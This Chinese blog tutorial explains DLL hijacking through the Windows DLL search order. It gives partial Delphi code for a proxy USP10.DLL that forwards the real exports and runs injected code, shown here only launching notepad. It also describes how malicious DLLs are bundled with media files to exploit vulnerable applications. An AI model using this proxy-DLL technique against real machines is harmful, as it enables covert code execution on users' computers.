黑客渗透笔记 DLL攻击劫持和漏洞利用
黑客花无涯 带你走进黑客世界系列文章
学习黑客经典书籍 网络黑白 某宝有售
网络机房电脑大范围报毒,病毒文件为“USP10.DLL”,该病毒繁殖能力强,很容易复发。在分析此病毒后,发现该病毒利用的漏洞正是被业界称为“末日漏洞”的DllHijack漏洞(DLL劫持漏洞),此漏洞影响较大,很多病毒都采取这种技术攻击用户电脑,让广大网管员们头痛不已。本文深入分析了该漏洞的形成原理并通过编写攻击文件验证此漏洞的危害。
![](https://img.haomeiwen.com/i5923442/e25d314a723ad6f2.png)
一、DLL劫持漏洞原理与攻击文件构造
1、原理分析
当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中。
由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。而这里DLL文件的搜索顺序遵循以下顺序:
(1)可执行程序加载的目录
(2)系统目录
(3)16位系统目录
(4)Windows目录
(5)文档运行目录
(6)PATH环境变量中列出的目录
这个就是windows系统的目录优先权。利用这个特点,攻击者先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能(恶意代码或程序补丁)后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(Hijack)了。
2、攻击文件构造
了解了DLL劫持具体原理后,就让我们来动手编写攻击文件,再现USP10.DLL病毒。
测试环境:WindowsXPSP35.1.2600ServicePack3Build2600
编程环境:Delphi2007
工具软件:ViewDLL,进程查看器
(1)用Delphi2007新建一个DLL工程命名为USP10。
(2)运行ViewDLL软件,加载系统目录下的正常USP10.DLL文件,记下该DLL文件的所有导出函数名。
![](https://img.haomeiwen.com/i5923442/b8603257956fd58c.png)
(3)用Delphi2007编写代码,构造与真正USP10.DLL文件相同的导出表,完成所有导出函数的转发,编写攻击代码。
这里只是做演示,所以攻击代码只是简单的运行一个程序:
WinExec(notepad.exe,sw_normal);//运行记事本程序篇幅原因以下只列出关键代码。
①定义转发目标指针:
var
POldLpkPresent:Pointer;
POldScriptApplyDigitSubstitution:Pointer;
POldScriptApplyLogicalWidth:Pointer;
......
②填充转发指针:
ModHandle:=LoadLibrary(C:\WINDOWS\system32\usp10.dll);
ifModHandle>0then
begin
POldLpkPresent:=GetProcAddress(ModHandle,LpkPresent);
POldScriptApplyDigitSubstitution:=
GetProcAddress(ModHandle,ScriptApplyDigitSubstitution);
POldScriptApplyLogicalWidth:=
GetProcAddress(ModHandle,ScriptApplyLogicalWidth);
......
③完成转发过程:
procedureLpkPresent;asmjmpPOldLpkPresentend;
procedureScriptApplyDigitSubstitution;asmjmp
POldScriptApplyDigitSubstitutionend;
procedureScriptApplyLogicalWidth;asmjmpPOldScriptApplyLogicalWidthend;
......
④构造导出表:
exports
LpkPresent,
ScriptApplyDigitSubstitution,
ScriptApplyLogicalWidth,
......
完成整个模板编写后就可以把攻击代码加入执行过程完成测试文件的构造了。这里要注意的是在调用函数完成攻击过程时不可用到所劫持DLL导出的函数,也就是如果要劫持USP10.DLL文件,那就不能用USP10.DLL所提供的任何函数。
(4)测试攻击效果
测试EXE文件选用系统自带的计算器程序CALC.EXE,把编译好的USP10.DLL文件拷贝到和CALC.EXE同一目录下,运行CALC.EXE,这时你会发现不光是运行了计算器程序,记事本程序也同时运行起来了(图2)。
![](https://img.haomeiwen.com/i5923442/a9cafeed90d1f320.png)
用进程查看器查看下CALC.EXE进程(图3)。
![](https://img.haomeiwen.com/i5923442/0ee226d35adfe8d8.png)
发现计算器程序确实先加载了我们构造好的USP10.DLL,然后由伪装后的USP10.DLL加载了真正的USP10.DLL。
通过以上测试,我们发现DLL劫持漏洞确确实实的存在,而且造成的后果非常严重,但是此漏洞仅仅存在于Windows操作系统内部吗?答案是否定的!
二、新型DLL劫持漏洞原理与攻击文件构造
2010年08月24日,微软发布安全公告2269637,提到三方软件编程不安全,存在一个DLL劫持的缺陷可以导致远程攻击。
2010年08月24日,流行的漏洞信息共享网站exploit-db马上就爆出多个DLL劫持漏洞,涉及的软件有:Wireshark(免费嗅探器),WindowsLiveemail(邮箱客户端),MicrosoftMovieMaker(视频编辑处理),Firefox(网页浏览器),uTorrent(BT下载工具),PowerPoint2010(办公软件)等。
2010年08月25日-26日,漏洞信息共享网站exploit-db继续爆出Winamp,GoogleEarth,Photoshop等软件存在DLL劫持漏洞。
在安全组织exploit-db公布的存在DLL劫持漏洞的软件列表中,包括:AutoCAD2007、Daemontools、Winamp、MediaPlayerClassic、MozillaThunderbird、MicrosoftOffice、AdobePhotoshop、AdobeDreamweaverCS5、Skype、Safari、WinDVD、Opera、Firefox等都位列其中。安装了上述软件的电脑,当用户在打开一个图片、音乐、视频、BT种子、
网页文件都有可能感染病毒。当攻击者利用DLL劫持漏洞构造一个特殊的DLL文件,将这个DLL文件打包到一些JPG、PPT、MP3、MPG、Html文件中分发,用户解压后双击打开这些文档,病毒即被立即触发。
1、新型DLL劫持漏洞形成原理:
应用程序为了扩展或者兼容等目的需要加载相应的DLL文件,但是因为某些原因导致这个DLL文件默认不存在于当前系统,此时就会尝试加载文档所在目录下的恶意DLL文件,从而达到破坏的作用。这里运行的文档(比如mp3)相当于触发者,根据文件关联它会启动一个应用程序去播放mp3文件。而因为应用程序存在DLL劫持漏洞(比如Winamp),此时Winamp就会因为设计上的不足导致成为恶意DLL的加载器。新型DLL劫持漏洞构成的危害简直达到了运行图片或音频文件就会执行恶意代码的地步。
学习黑客经典书籍 网络黑白 某宝有售
中国黑客协会 普及网络安全知识,让更多的人学习并重视网络安全和信息安全。
中国黑客协会是一种精神的传承,黑客代表是一种精神,它是一种热爱祖国、坚持正义、开拓进取的精神。
网友评论